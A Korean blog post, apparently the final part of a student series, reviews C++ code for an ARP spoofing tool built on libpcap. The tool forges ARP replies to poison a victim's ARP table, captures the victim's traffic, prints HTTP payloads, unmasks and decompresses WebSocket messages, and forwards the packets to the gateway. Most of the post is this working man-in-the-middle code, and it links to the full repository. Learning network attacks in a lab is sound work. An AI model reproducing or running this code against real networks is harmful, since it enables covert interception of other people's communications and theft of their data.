-
[ARP spoofing] 4. (최종) Arp spoofing 코드로 구현하기해킹/network 2023. 6. 1. 13:47
코드 리뷰
이제부터 c++로 작성한 코드를 리뷰하며 프로젝트를 마무리 해보겠다.
기본 사용 함수
int check_protocol(const u_char *payload, const u_int payload_len); int unmask_data(u_char *buf, const u_int buf_len); int decompress_data(u_char *source, int src_len, u_char *result, int &result_len); string get_mac(const char *net_interface, string IP); void find_me(char *dev_name, string &my_mac, string &my_ip); int cure_arp_table(); int infect_arp_table(); void init_addresses(const string &my_ip, const string &my_mac, const string &target_ip, const string &target_mac, const string &gateway_ip, const string &gateway_mac); void parse_ip(u_char *dest_ip, string ip); void parse_mac(u_char *dest_mac, string mac); void infect_thread(); int send_packet(u_char *packet, u_int packet_size, const u_char *mac_addr);
- check_protocol : data payload를 받고, HTTP인지 websocket인지 판단하는 함수
- unmask_data : data를 받고 masking key를 이용해 unmask 시키는 함수
- decompress_data : per-message deflate 방식으로 압축된 데이터를 압축 해제하는 함수
- get_mac : network 인터페이스와 IP주소를 가지고 mac주소를 찾아내는 함수
- find_me : 나의 IP주소와 mac주소를 찾아내는 함수
- cure_arp_table : 감염된 arp table을 원복시키는 arp를 보내는 함수
- infect_arp_table : arp table을 감염시키는 arp를 보내는 함수
- init_addresses : 전역변수들을 초기화하는 함수
- parse_ip : ifconfig 명령어로 구한 string을 파싱해서 IP주소를 구해내는 유틸리티 함수(mac os 전용)
- parse_mac : arping 명령어로 구한 string을 파싱해서 mac주소를 구해내는 유틸리티 함수
- infect_thread : 하나의 쓰레드를 돌려서, 주기적으로 악성 arp를 보내는 쓰레드
- send_packet : 패킷을 해당 mac주소를 가진 ethernet 헤더를 붙여 보내는 함수
기본적인 함수는 이렇게 된다.
함수 하나하나 설명은 하지 않겠다. 본인이 남긴 주석을 참고하길 바란다.
이제 main 함수를 살펴보자.
main 함수
int main(int argc, char *argv[]) { // argv의 형식이 다르면 helper 출력 if (argc < 2) { cout << "\nUsage:\n ./arp_spoofing [target IP] [gateway IP]\n" << endl; exit(1); } string my_mac = ""; string my_ip = ""; string target_mac = ""; string target_ip = ""; string gateway_mac = ""; string gateway_ip = ""; target_ip = argv[1]; gateway_ip = argv[2]; VICTIM_IP_FILTER += target_ip; // arp 감염이 되어있다고 가정 // 패킷을 받은 것을 relay해주는 기능 먼저 개발 pcap_if_t *alldevs; pcap_if_t *dev; char error_buf[PCAP_ERRBUF_SIZE]; // pcap_t *handle; const u_char *packet; struct pcap_pkthdr packet_header; int packet_cout_limit = 1; int timeout_limit = 1000; int total_packet_count = 0; bpf_u_int32 subnet_mask, ip; // filter struct bpf_program filter; // find device if (pcap_findalldevs(&alldevs, error_buf) < 0) { printf("no device found.. \n"); return 0; } int i = 1; for (dev = alldevs; dev; dev = dev->next) { printf("[%d] device found : %s \n", i++, dev->name); } string selected_device; cout << "----------------\nselect network device(type name) : "; cin >> selected_device; strcpy(NET_INTERFACE, selected_device.c_str()); target_mac = get_mac(NET_INTERFACE, target_ip).c_str(); gateway_mac = get_mac(NET_INTERFACE, gateway_ip).c_str(); cout << "target mac address : " << target_mac << endl; cout << "gateway mac address : " << gateway_mac << endl; find_me(NET_INTERFACE, my_mac, my_ip); init_addresses(my_ip, my_mac, target_ip, target_mac, gateway_ip, gateway_mac); handle = pcap_open_live(NET_INTERFACE, BUFSIZ, packet_cout_limit, timeout_limit, error_buf); if (handle == NULL) { printf("error on pcap_open_live : %s \n", error_buf); } if (pcap_compile(handle, &filter, VICTIM_IP_FILTER.c_str(), 0, ip) == -1) { printf("Bad filter.. \n"); return 2; } if (pcap_setfilter(handle, &filter) == -1) { printf("error setting filter.. \n"); return 2; } // sig handler 등록 signal(SIGINT, sig_handler); // arp 감염 쓰레드 thread t1(infect_thread); t1.detach(); // handler 등록하고 패킷 캡쳐 시작 pcap_loop(handle, total_packet_count, pkt_handler, NULL); pcap_close(handle); }
우선 argv 파라미터로 받아서 타겟 IP주소와 gateway IP 주소를 받는다.
이후 packet handle을 정의할 때 필요한 파라미터를 초기화 해준다.
pcap_findalldevs 함수로 사용 가능한 네트워크 인터페이스를 찾아서 선택한다.
네트워크 인터페이스를 찾았다면 이를 이용해서 타겟과 게이트웨이, 그리고 내 자신의 mac주소와 IP주소를 알아낸다.
이후 arp reply를 보내는 쓰레드를 돌리고, 캡쳐를 시작한다.
패킷 캡처에 대한 코드는 아래 링크의 documentation을 참고하면 좋다.
Home | TCPDUMP & LIBPCAP
This is the home web site of tcpdump, a powerful command-line packet analyzer; and libpcap, a portable C/C++ library for network traffic capture. Here you can find the latest stable version of tcpdump and libpcap, as well as current development versions, a
www.tcpdump.org
ARP reply thread
void infect_thread() { while(stop_job == false) { infect_arp_table(); sleep(2); } } int infect_arp_table() { // arp reply u_char packet[42] = {0}; memcpy(packet, TARGET_MAC, 6); memcpy(packet + 6, MY_MAC, 6); //type : arp packet[12] = 0x08; packet[13] = 0x06; //hardware type : 항상 1 packet[15] = 0x01; //protocol type : ipv4는 8 packet[16] = 0x08; //hardware address length : 이더넷 상은 6 packet[18] = 0x06; //protocol address length : ipv4는 4 packet[19] = 0x04; //opcode packet[21] = 0x02; memcpy(packet + 22, MY_MAC, 6); memcpy(packet + 28, GATEWAY_IP, 4); memcpy(packet + 32, TARGET_MAC, 6); memcpy(packet + 38, TARGET_IP, 4); return pcap_inject(handle, packet, 42); } int cure_arp_table() { // arp reply u_char packet[42] = {0}; memcpy(packet, TARGET_MAC, 6); memcpy(packet + 6, MY_MAC, 6); //type : arp packet[12] = 0x08; packet[13] = 0x06; //hardware type : 항상 1 packet[15] = 0x01; //protocol type : ipv4는 8 packet[16] = 0x08; //hardware address length : 이더넷 상은 6 packet[18] = 0x06; //protocol address length : ipv4는 4 packet[19] = 0x04; //opcode packet[21] = 0x02; memcpy(packet + 22, GATEWAY_MAC, 6); memcpy(packet + 28, GATEWAY_IP, 4); memcpy(packet + 32, TARGET_MAC, 6); memcpy(packet + 38, TARGET_IP, 4); return pcap_inject(handle, packet, 42); }
위 함수는 ARP reply 패킷을 만들어내는 함수이다.
이전 글에서 arp protocol의 구조를 설명했었는데, 이를 코드로 옮기면 위와 같게 된다.
arp table을 감염시키는 코드와, 원상복구 시키는 코드를 작성해서 signal handler를 통해 프로그램을 종료할 때 arp table을 회복시킬 수 있게 한다.
패킷 캡처 코드
// handle event when packet sent by victim is captured void pkt_handler(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { struct ether_header *eth_header; eth_header = (struct ether_header *)packet; if (ntohs(eth_header->ether_type) != ETHERTYPE_IP) { // skip return; } const u_char *ip_header; const u_char *tcp_header; const u_char *payload; const int ethernet_header_length = 14; int ip_header_length; int tcp_header_length; int payload_length; ip_header = packet + ethernet_header_length; ip_header_length = ((*ip_header) & 0x0F); ip_header_length = ip_header_length * 4; // printf("IP header length (IHL) in bytes : %d\n", ip_header_length); u_char protocol = *(ip_header + 9); if (protocol != IPPROTO_TCP) { // printf("Not a TCP packet. Skipping...\n"); // return; } tcp_header = packet + ethernet_header_length + ip_header_length; tcp_header_length = ((*(tcp_header + 12)) & 0xF0) >> 4; tcp_header_length = tcp_header_length * 4; int total_headers_size = ethernet_header_length + ip_header_length + tcp_header_length; payload_length = header->caplen - (total_headers_size); payload = packet + total_headers_size; // packet 내용 출력 int protocol_type = check_protocol(payload, payload_length); if (protocol_type == HTTP) { const u_char *data_p = packet + total_headers_size; printf("--------new packet -----------\n"); for (int i = 0; i < payload_length; i++) { printf("%c", *data_p); data_p++; } printf("\n"); } else if (protocol_type == WEB_SOCKET) { // unmask websocket data u_char unmasked[payload_length]; memcpy(unmasked, payload, payload_length); unmask_data(unmasked, payload_length); // decompress websocket payload u_char compr_payload[payload_length + 6]; u_char decompr_payload[payload_length + 6]; int decomp_len = 0; memcpy(compr_payload, unmasked + 6, payload_length); compr_payload[0] = compr_payload[0] + 1; compr_payload[payload_length] = 0x00; compr_payload[payload_length + 1] = 0x00; compr_payload[payload_length + 2] = 0xff; compr_payload[payload_length + 3] = 0xff; compr_payload[payload_length + 4] = 0xff; compr_payload[payload_length + 5] = 0xff; decompress_data(compr_payload, payload_length + 6, decompr_payload, decomp_len); const u_char *data_p = packet + total_headers_size; printf("--------new packet -----------\n"); printf("암호화된 패킷(해독 불가 ㅠㅠ) : \n"); for (int i = 0; i < payload_length; i++) { printf("%c", *data_p); data_p++; } printf("\n복호화된 패킷 : \n"); for (int i = 0; i < decomp_len; i++) { printf("%c", decompr_payload[i]); } printf("\n"); } else { //출력하지 않고 forwarding만 해줌 } u_int packet_size = header->caplen; u_char buf[packet_size + 1]; memcpy((void *)buf, packet, packet_size); // gateway로 패킷 전송 int result = send_packet(buf, packet_size, GATEWAY_MAC); if(result == -1) { // packet 전송 실패 // printf("sending packet failed..\n"); } else { // printf("packet sent to %x.%x.%x.%x.%x.%x : %d \n", *buf, *(buf+1), *(buf+2), *(buf+3), *(buf+4), *(buf+5), result); } }
기본적으로 작동은 패킷을 캡쳐하고, protocol이 websocket이라면 이전 글에서 살펴본 unmask와 decompress를 실행한다.
이전 글에서 말했다시피, 일반적인 arp spoofing만 할거라면 unmask와 decompress는 할 필요가 없다.
이후 패킷의 protocol 종류에 따라 출력을 해주고, ethernet 헤더를 벗겨낸 후 새로운 ethernet 헤더를 만들어 붙인다.
결과
감염된 테이블 모습(피해자 pc)
websocket 패킷을 캡쳐한 후 해독한 모습
전체 코드 링크 : https://github.com/Computer-Network-10/Arp-Spoofing
GitHub - Computer-Network-10/Arp-Spoofing
Contribute to Computer-Network-10/Arp-Spoofing development by creating an account on GitHub.
github.com
'해킹 > network' 카테고리의 다른 글
[ARP spoofing] 3. Websocket protocol 파헤치기 (0) 2023.05.31 [ARP spoofing] 2. ARP protocol 파헤치기 (0) 2023.05.30 [ARP spoofing] 1. ARP spoofing 프로젝트 시작하기 (0) 2023.05.30